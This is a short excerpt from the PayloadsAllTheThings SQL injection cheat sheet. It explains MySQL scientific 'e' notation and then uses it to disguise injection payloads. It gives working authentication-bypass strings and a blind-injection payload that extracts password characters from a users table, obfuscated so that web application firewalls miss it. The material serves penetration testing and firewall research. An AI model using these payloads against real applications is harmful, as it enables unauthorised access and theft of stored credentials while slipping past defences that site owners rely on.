In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent. The format is: `base 'e' exponent`. For example: * `1e3` represents `1 x 10^3` which is `1000`. * `1.5e3` represents `1.5 x 10^3` which is `1500`. * `2e-3` represents `2 x 10^-3` which is `0.002`. The following queries are equivalent: * `SELECT table_name FROM information_schema 1.e.tables` * `SELECT table_name FROM information_schema .tables` In the same way, the common payload to bypass authentication `' or ''='` is equivalent to `' or 1.e('')='` and `1' or 1.e(1) or '1'='1`. This technique can be used to obfuscate queries to bypass WAF, for example: `1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2`
Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.